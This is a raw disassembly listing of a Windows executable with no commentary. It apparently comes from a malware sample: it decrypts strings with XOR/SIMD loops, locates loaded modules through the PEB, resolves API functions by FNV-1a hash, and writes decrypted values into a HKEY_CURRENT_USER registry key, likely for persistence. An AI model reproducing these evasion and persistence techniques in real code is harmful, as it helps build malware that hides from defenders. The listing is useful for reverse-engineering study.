lea rcx, [rbp + 0x126c]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140004f61
cmp r8d, 0x16
jge 0x1400050b3
movsxd rax, r8d
lea r9, [rbp + 0x1268]
add r9, rax
nop dword [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140005080
lea rcx, [rbp + 0x16e0]
call fcn.140018650
nop
lea rdx, [rbp + 0x1700]
lea rcx, [rbp + 0x16e0]
call fcn.1400183b0
lea rcx, [rbp + 0x16e0]
call fcn.140018160
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005176
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005176
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0xa0e572bd
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140005171
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140005150
cmp r8d, 0xca5bcd54
je 0x14000517b
test r9d, r9d
jne 0x140005130
mov rcx, qword [rcx]
jmp 0x140005100
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
lea rcx, [rbp + 0x16e0]
call fcn.140018170
lea rcx, [rbp + 0x1700]
call fcn.140018170
nop
lea rcx, [rbp + 0x16e0]
call fcn.140018450
nop
lea rcx, [rbp + 0x1700]
call fcn.140018450
nop
mov rcx, r15
call fcn.140018450
mov r15d, dword [0x14001e088]
jmp 0x140006536
mov rax, qword [0x14001e7e8]
test rax, rax
jne 0x1400052a7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140005287
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140005287
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xa32ddb46
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140005282
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140005260
cmp edx, 0x8ad69cae
je 0x140005439
test r8d, r8d
jne 0x140005240
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14000529d
cmp qword [rax + 0x30], 0
jne 0x140005210
mov rax, rsi
mov qword [0x14001e7e8], rax
mov r8d, 0x104
lea rdx, [rbp + 0x24a70]
xor ecx, ecx
call rax
lea rdx, [rbp + 0x24a70]
lea rcx, [rbp + 0x16a0]
call fcn.1400184f0
nop
lea rcx, [rbp + 0x16a0]
call fcn.140018150
test al, al
jne 0x140005ebe
lea rdx, [rbp + 0x16a0]
lea rcx, [rbp + 0x1620]
call fcn.140018530
nop
lea rdx, [rbp + 0x2158]
lea rcx, [rsp + 0x7b]
call fcn.1400027a0
lea rdx, [rbp + 0xf54]
lea rcx, [rsp + 0x7d]
call fcn.1400027d0
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x7e]
call fcn.140002830
mov rbx, rax
cmp byte [rax + 7], 0
je 0x140005493
cmp r15d, 2
jl 0x140005455
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm2, xmmword [0x14001bb20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
mov eax, dword [str.WWWWWWWWWWWWWWWW]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movd dword [rbx], xmm2
movdqa xmm3, xmmword [0x14001bb30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
jmp 0x140005493
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x1400052a0
mov r9, rbx
mov r8d, esi
nop dword [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140005460
lea rdx, [rbp + 0xec0]
lea rcx, [rsp + 0x7f]
call fcn.1400027e0
mov r10, rax
cmp byte [rax + 0x2e], 0
je 0x140005643
mov r8d, esi
cmp r15d, 2
jl 0x1400055fd
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
mov rcx, rax
mov edx, dword [rbp + 0xf0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400054f0
cmp r8d, 0x2f
jge 0x140005643
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140005610
lea r8, [rbp + 0x1620]
mov rdx, r10
lea rcx, [rbp + 0x8a0]
call fcn.140018b80
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x15c0]
call fcn.140018980
nop
lea rcx, [rbp + 0x8a0]
call fcn.140018450
lea rdx, [rbp + 0x11f8]
lea rcx, [rbp - 0x80]
call fcn.140002840
lea rdx, [rbp + 0xf8c]
lea rcx, [rbp - 0x7f]
call fcn.140002850
cmp byte [rbp + 0x2187], 0
je 0x140005843
cmp r15d, 2
jl 0x1400057f7
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x215c]
mov r8d, dword [rbp + 0xf0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x1400056f0
jmp 0x140005843
lea r9, [rbp + 0x2158]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140005810
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x2158]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp byte [rbp + 0x2187], 0
jne 0x140005a23
cmp r15d, 2
jl 0x1400059d7
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x215c]
mov r8d, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x1400058d0
jmp 0x140005a23
lea r9, [rbp + 0x2158]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x1400059f0
lea rcx, [rbp + 0x15c0]
call fcn.140018160
mov rcx, r13
lea rcx, [rcx + 1]
cmp byte [rax + rcx], 0
jne 0x140005a32
lea ebx, [rcx*2 + 2]
lea rcx, [rbp + 0x15c0]
call fcn.140018160
movzx ecx, byte [rbp + 0xf54]
test cl, cl
je 0x140005a63
xor cl, 0x57
mov byte [rbp + 0xf54], cl
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0xf54]
mov rcx, qword [0x14001ee30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp byte [rbp + 0xf54], 0
jne 0x140005a99
mov byte [rbp + 0xf54], 0x57
movzx ecx, byte [rbp + 0xf8d]
movzx edx, byte [rbp + 0xf8c]
test cl, cl
je 0x140005abd
xor dl, 0x57
mov byte [rbp + 0xf8c], dl
xor cl, 0x58
mov byte [rbp + 0xf8d], cl
lea r8, [rbp + 0xf8c]
mov rax, r13
nop word [rax + rax]
lea rax, [rax + 1]
cmp byte [r8 + rax], 0
jne 0x140005ad0
lea r10d, [rax*2 + 2]
test cl, cl
je 0x140005af9
xor dl, 0x57
mov byte [rbp + 0xf8c], dl
xor cl, 0x58
mov byte [rbp + 0xf8d], cl
cmp byte [rbp + 0x1207], 0
je 0x140005ca3
cmp r15d, 2
jl 0x140005c57
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x11fc]
mov r8d, dword [rbp + 0xf0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140005b50
jmp 0x140005ca3
lea r9, [rbp + 0x11f8]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140005c70
mov dword [rsp + 0x28], r10d
lea rax, [rbp + 0xf8c]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0x11f8]
mov rcx, qword [0x14001ee30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp byte [rbp + 0x1207], 0
jne 0x140005e73
cmp r15d, 2
jl 0x140005e27
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x11fc]
mov r8d, dword [rbp + 0xf0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140005d20
jmp 0x140005e73
lea r9, [rbp + 0x11f8]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140005e40
cmp byte [rbp + 0xf8d], 0
jne 0x140005e8a
xor byte [rbp + 0xf8c], 0x57
mov byte [rbp + 0xf8d], 0x58
mov rcx, qword [0x14001ee30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x15c0]
call fcn.140018170
nop
lea rcx, [rbp + 0x15c0]
call fcn.140018450
nop
lea rcx, [rbp + 0x1620]
call fcn.140018450
nop
lea rcx, [rbp + 0x16a0]
call fcn.140018450
lea rdx, [rbp + 0x1de0]
lea rcx, [rsp + 0x50]
call fcn.140002710
cmp byte [rbp + 0x1e01], 0
jne 0x140006090
mov r8d, esi
cmp r15d, 2
jl 0x14000603d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1de4]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140005f30
cmp r8d, 0x22
jge 0x140006083
movsxd rax, r8d
lea r9, [rbp + 0x1de0]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140006050
cmp byte [rbp + 0x1e01], 0
je 0x140006223
mov r8d, esi
cmp r15d, 2
jl 0x1400061df
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1de4]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400060d2
cmp r8d, 0x22
jge 0x140006223
movsxd rax, r8d
lea r9, [rbp + 0x1de0]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x1400061f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
